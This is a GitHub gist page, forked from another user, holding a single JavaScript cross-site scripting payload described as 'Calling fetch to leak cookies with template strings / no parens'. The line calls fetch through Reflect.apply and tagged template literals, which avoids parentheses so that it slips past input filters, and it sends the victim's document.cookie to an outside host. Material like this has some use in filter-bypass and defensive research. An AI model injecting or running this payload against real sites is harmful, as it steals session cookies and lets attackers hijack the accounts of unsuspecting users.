Skip to content

Instantly share code, notes, and snippets.

@0xSojalSec

0xSojalSec/fetch-call-template.js

Forked from tomnomnom/fetch-call-template.js
Created August 28, 2023 17:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0xSojalSec/30db7221723ab1f22ae59b3b9ff8343b to your computer and use it in GitHub Desktop.
Save 0xSojalSec/30db7221723ab1f22ae59b3b9ff8343b to your computer and use it in GitHub Desktop.
Download ZIP
Calling fetch to leak cookies with template strings / no parens
Raw
fetch-call-template.js
Reflect.apply.call`${fetch}${window}${['https://poc.lol/?'+document.cookie]}`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment